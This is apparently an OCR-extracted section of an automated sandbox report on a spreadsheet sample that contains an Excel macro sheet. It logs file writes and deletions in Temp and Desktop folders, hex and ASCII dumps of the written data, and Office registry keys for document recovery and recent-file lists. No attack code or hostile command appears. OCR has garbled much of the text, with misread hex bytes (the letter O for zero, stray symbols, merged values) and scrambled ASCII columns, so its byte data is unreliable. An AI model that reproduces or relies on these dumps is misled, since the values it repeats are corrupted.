TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

13FE6B818

Source
Count Address

TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO

P PR R R R R R R R R R R R R P

TFEEAA29ACO

Source
Count Address

DeleteFileW

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol
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File Path

C:\Users\user\AppData\Local\Temp\B4FE0Q000

C:\Users\user\AppData\Local\Temp\B4FE0Q000
C:\Users\user\AppData\Local\Temp\B4FE0Q000

Copyright null 2021

Offset
569

994

Length Value

425

569

c455ch6e 1a3114 .U.n.1.W.?..fD...EK.L.$.".
..%_C..sm.U..Z..y..q..3....]
LW-7=V.AT70..L UL S X

dd 57 ea 3f 8c bc ad
66 Oc 44 8a a2 8a 81
45 4b 97 49 a4 24 1f
60 ec Ob b8 f8 25 5f
43 e0 ef 73 6d 08 55
11 8f 8¢ 5a b5 9b 79
d9e7 71 afed 33 c3
f1 c6 9a 6a 0d 11 b5
77 2d eb 37 3d 56 81
93 5e 69 37 6f d9 cb
3 8f fa 8e 55 98 84
53 ¢2 78 07 2d db 02
b2fle8f3a7elf3
36 00 56 84 76 d8 b2
454ael 2be7 2817
60 05 36 3e 80 a3 91
99 8f 56 24 7a 8d 73
le 84 5c 8a 39 f0 41
af 77 cb a5 77 09 5¢
aa 53 e660a3el 77
98 89 95 49 d5 64 43
9f 77 4e a6 da bl ea
db 6e 5e 96 6a 99 08
c16829 1219 e5 6b
a7 8e 44 6a 3f 9b 69
09 ca cb 95 25 ea 06
4304 al 70 01 90 ac
69 42 d4 a4 18 9f 20
25 2a0c 19 3fa9 f9
33 ¢0 fc 48 54 db 6¢
ba Oc 9c c6 44 30 78
84 b9 62 74 df 89 86
90 a5 18 5c e8 80 5f
a8 5d 67 5c e5 91 f3
9d d8 e3 1e 68 09 a3
56 50 3d

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
3b f6 21 f2 ab 01 00

00 89 06 00 00 13 00 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C ...
20a2040228a000 ...
02 000000000000 ...

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii

B VVLEI (6>

V$z.s.\9.Aw.w\S. .w...
1.dC.WN.....n"A\j...h)...k..Dj?

0....%..C..p...iB.... %*..2
3.HT.l....DOX..bt.....\.._]
[0 WP h..VP=

(..

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

17

17
18

TFEEAA29ACO unknown

TFEEAA29ACO unknown
TFEEAA29ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\B4FE0Q000

C:\Users\user\AppData\Local\Temp\B4FE0Q000

Copyright null 2021

Offset Length Value

6411 65536

114214 1272

ff d8 ff e0 00 10 4a

46 494600010100 ...

00 01 00 01 00 00 ff

db 004300020101 ..

01010102010101 ...
02 020202020403 ...

02 020202050404 .

03 04 06 05 06 06 06
05 06 06 06 07 09 08
06 07 09 07 06 06 08
Ob 08 09 Oa Oa Oa Oa
0a 06 08 Ob Oc Ob Oa
Oc 09 Oa 0Oa Oa ff db
0043 01 02 02 02 02
02 02 05 03 03 05 Oa
07 06 07 Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa
0Oa Oa Oa Oa ff cO 00
1108 01 ec 02 €0 03
01220002 110103
11 01 ff c4 00 1e 00
01 00 03 00 03 01 01
01 01 00 00 00 00 00
00 00 00 06 07 08 04
05 09 03 02 01 Oa ff
¢4 00 7b 10 00 00 05
03 02 02 02 0a 08 Oe
0Oe 06 06 04 03 19 01
02 03 04 05 00 06 07
1112 08 13 14 21 09
1516 18 22 31 57 61
96 d3 17

50 4b 01 02 2d 00 14
00 06 00 08 00 00 00
2100 3b f6 21 f2 ab

01 00 00 89 06 00 00
13 00 00 00 00 00 00

00 00 00 00 0000 00 .

00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
7970 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 e4 03 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 b4 35
a9 f2 20 01 00 00 cb
03 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 0a 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
1095 90 dd c1 01 00
00 38 03 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 6a 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

._relsl.re
JRTLIL- T
Xl/_rels/wor

kbook.xml.relsPK..-.........!

s < FORTURO jooe
xl/workbook.xml

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path

C:\Users\user\Desktop\75FE0000

C:\Users\user\Desktop\75FE0000

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

09 08 10 00 00 06 05
00 67 32 cd 07 c9 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

02 000000€20000 ...

00 5¢ 00 70 00 05 00
00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 04 00 01
00 02 00 03 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 3c 00
f0 4b Oe 1f 38 00 01
00 01 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

b5 5 cd b9 3b 2a 63
cb fe c6 8f b7 62 ad
f1 b7 6e Ob a9 a4 4c
9b a7 aa 2e ab d3 8a
c9 b9 31 8a 92 65 d8
4476 f2 92 30 2a 63
ab bb 71 cb ca 2e 80
71f970dd fb 41 68
7d el 2c 5f cd de d7
cf 88 7c 2f 9b 32 d5
c3 6¢ c8 63 bc bb 6b
5b ac 6d a9 84 25 d1
6b 35 62 b9 94 55 77
a9 15 62 00 8a a9 49
b5 00 44 48 ae 9c b0
26 ed c5d7 99 a0 ed
Oa 1d 9f 33 08 d3 33
67 f9 73 Oc df 29 56
00 0d 37 8d f9 5d 1d
1 6f 9¢ 6b bb b5 47
ae 5e 20 72 55 b9 c5
09 f1 cd d1 74 c6 5b
16 99 a5 23 d9 c4 2b
2b 8a e6 5¢c 12 64 cb
a2 41 14 c9 38 47 49
c7 b6 54 cb 98 51 4d
3508 63 09 c0 a5 02
98 ¢7 28 Oc 3f b3 2b
fb c3 ae 1f e7 78 cf
ce 8956 65 €9 82 33
16 50 99 42 0f 25 66
98 37 96 4a 33 ac 65
8f 07 1f 65 28 da 41
65 5a ac 93 94 90 33
d1 7c 74 f9 00 e5 22
1b 68 36 05 05 32 81
0541 1d

...... \.p....user

Lgfeebonio

1..e.Dv..0*c..q....q.p..Ah}.,_
o], 0.c..K[.m..%.k5b..U
w..b...l.DH...&......... 3..3g
s.)V..7.]..0k.GArU......t.

[..#.++.\.d..A.8GI..T..

QM5.c......(.?.+....x...Ve..3
.P.B.%f.7.J3.e...e(.AeZ....3

Jt.."h6..2..A.

Completion

success or wait

success or wait

Source

Count Address Symbol

6

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path
C:\Users\user\Desktop\75FE0000

C:\Users\user\Desktop\75FE0000

Copyright null 2021

Offset Length Value

unknown 5063

unknown 16384

Ascii

Completion

24 4e 247969 10 a0 $N$yi..R.S1......... Y..6..."O success or wait

ef db 36 9f f8 1a 60
4f 41 9c 7c ae 9e d9
b4 ff 00 c0 d3 02 7a
Oc e3 e5 75 d2 5a eb
41 5b 38 3a 16 df bd
alef 7719 7ae7 97
56 0d da ae 59 33 91
18 d2 al cd 3b 65 9b
09 8d c8 66 99 c7 44
d7 53 40 de 01 ae 82
3ae9 56 67 75 0d fe
ca 2f f6 c2 b1 8f b6
6d 3f f0 34 c0 9e 83
38 f9 5d 3d b3 69 ff
0081 a6 04 f4 19 c7
ca e9 28 b5 54 bd 87
86 6e Ob dd ae 4c 9e
c6 b6 cb eb 91 88 10
19 5¢ 0f 21 5b aa f9
be c1 11 26 c5cc4l
50 9b 44 47 4d Oc 1a
6a 3a 78 eb ed 1f 6a
6298 87 93 72 31 56
1d be d5 c5 cd fb a4
5d bc 52 04 3c af 51
83649 80 a0 2b 5
lceleleeea39hbd
1 ac 9f ed 9b 4f fc 0d
30 27 a0 ce 3e 57 4f
6c da 7f e0 69 81 3d
06 71 f2 ba c7 36 23
77 e7 af 9e f5 99 33
33 c3e5a792d6 b6
4 Oe

09 08 10 00 00 06 05
00 67 32 cd 07 c9 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00
00 5¢ 00 70 00 05 00
00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 04 00 01
00 02 00 03 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 3c 00
f0 4b Oe 1f 38 00 01
00 01 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

..Vgu../....m?.4..8.]=.i.
........ (T..n..L....\!
[.....&.AP.DGM..j:x...jb...r
1V.

success or wait

Source

Count Address Symbol

1

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path

C:\Users\user\Desktop\75FE0000

C:\Users\user\Desktop\75FE0000

Copyright null 2021

Offset Length Value

unknown 204

unknown 288

fe ff 00 00 06 01 02

00 00 0000000000 ...

00 00 00 00 00 00 00

00 00 00 01000000 ..|.

e0 85 9f f2 f9 4f 68
10 ab 91 08 00 2b 27
b3 d9 30 00 00 00 9¢c

.0

00 00 00 07 00 00 QO ...

01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 54
00 00 00 12 00 00 00
64 00 00 00 Oc 00 00
00 7c 00 00 00 0d 00
00 00 88 00 00 00 13
00 00 00 94 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 04 00
0000 4f42 4100 1e
00 00 00 08 00 00 00
41 6¢ 62 75 73 00 00
00 1e 00 00 00 10 00
00 00 4d 69 63 72 6f
73 6f 66 74 20 45 78
63 65 6¢ 00 40 00 00
00 80 f2 ea 99 4b e4
d6 01 40 00 00 00 00
14 a3 00 e4 e5 d6 01
03 00 00 00 00 00 00
00

fe ff 00 00 06 01 02

00 000000000000 ...

00 00 00 00 00 00 00

00 00 00 01 00 00 00 ..
02d5cdd59c2e1b ...

109397 08 00 2b 2¢ .

9 ae 30 00 00 00 fO
00 00 00 08 00 00 00
01 00 00 00 48 00 00
00 17 00 00 00 50 00
00 00 Ob 00 00 00 58
00 00 00 10 00 00 00
60 00 00 00 13 00 00
00 68 00 00 00 16 00
00 00 70 00 00 00 Od
00 00 00 78 00 00 00
Oc 00 00 00 ac 00 00
00 02 00 00 00 e4 04
00 00 03 00 00 00 00
00 Oe 00 Ob 00 00 00
00 00 00 00 Ob 00 00
00 00 00 00 00 Ob 00
00 00 00 00 00 00 Ob
00 00 00 00 00 00 00
1e 10 00 00 04 00 00
00 07 00 00 00 53 68
65 65 74 31 00 07 00
00 00 53 68 65 65 74
320007 0000 00 53
68 65 65 74 33 00 07
00 00 00 4d 61 63 72
6f 31 00 Oc 10 00 00
04 00 00 00 1e 00 00
00 0b 00 00 00 57 6f
72 6b 73 68 65 65 74
73 00 03 00 00 00 03
00 00 00

Sheetl.....

&

BA.

...Macrol.................

sheets

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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File Path Offset

C:\Users\user\Desktop\75FE0000 unknown 1536

C:\Users\user\Desktop\75FE0000 unknown 512

File Read

File Path
C:\Users\user\Desktop\75FE0000

Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

Copyright null 2021

Length Value

Source

Completion Count Address Symbol

01 000000020000 .....ccccoevrvucirieiannee success or wait 1 TFEEAA29ACO unknown
00 03 00 00 00 04 00 ...
00 00 05 00 00 00 06 ...
00 00 00 07 00 00 00 .

08 00 00 00 09 00 00 .

00000c0000000d ....[...0.
00 00 00 Oe 00 00 00 ..6...
0f00 0000100000 =.>.72.@..
00 11 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 31 00 00 00
3200 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

docflle0alblla ... success or wait 1 TFEEAA29ACO unknown
e1 00 00 00 0000 00 ...
00 00 00 00 00 00 00 ...
00 00 00 3e 000300 ...
fe ff09 00 06 00 00 ...
00 00 00 00 00 00 00 .
000002000000 fc ...
00 00 00 00 00 00 00 ...
00 10 00 00 fe ff ff ff

00 00 00 00 fe ff ff ff

00 00 00 00 fa 00 00

00 fb 00 00 00 ff ff ff

ff ff ff ff f ff ff f ff ff ff

ff ff ff ff ff ff f ff ff ff ff

ff ff ff ff ff f ff ff f ff ff

ff ff ff ff ff ff ff ff f ff ff

ff ff ff ff ff f ff ff f ff ff

ff ff ff ff ff f ff ff ff ff ff

ff ff ff ff ff f ff ff ff ff ff

ff ff ff ff ff ff ff ff f ff ff

ff ff ff ff ff ff ff ff ff ff ff

ff ff ff ff f ff ff ff ff ff ff

ff ff ff ff f ff ff f ff ff ff

ff ff ff ff ff ff f ff ff ff ff

ff ff ff ff ff f ff ff f ff ff

ff ff ff ff ff ff ff ff f ff ff

ff ff ff ff ff f ff ff f ff ff

ff ff ff

Source

Offset Length Completion Count Address Symbol

unknown 16384 success or wait 1 TFEEAA29ACO unknown

Source
Completion Count Address Symbol
success or wait 1 TFEEAA29ACO unknown
success or wait 4 TFEEAA29ACO unknown
success or wait 4 TFEEAA29ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF383

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF538

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF5E3

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F532F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F54D4

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

P R R R R R R R

Count

Source
Address

TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO
TFEEAA29ACO

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EF383

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 20

EF383

Max Display

Max Display

Item 1

Iltem 2

Type

unicode

binary

dword

dword

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

04 00 00 00 7C 07 00 00 38 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 31 00 2E 00 30 00 2E 00 30 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
ED F9 BC FC E3 E5 D6 01 83 F3 OE 00
83 F3 OE 00 00 00 00 00 B8 02 00 00 OA
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

2

1

Source
Symbol

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 3

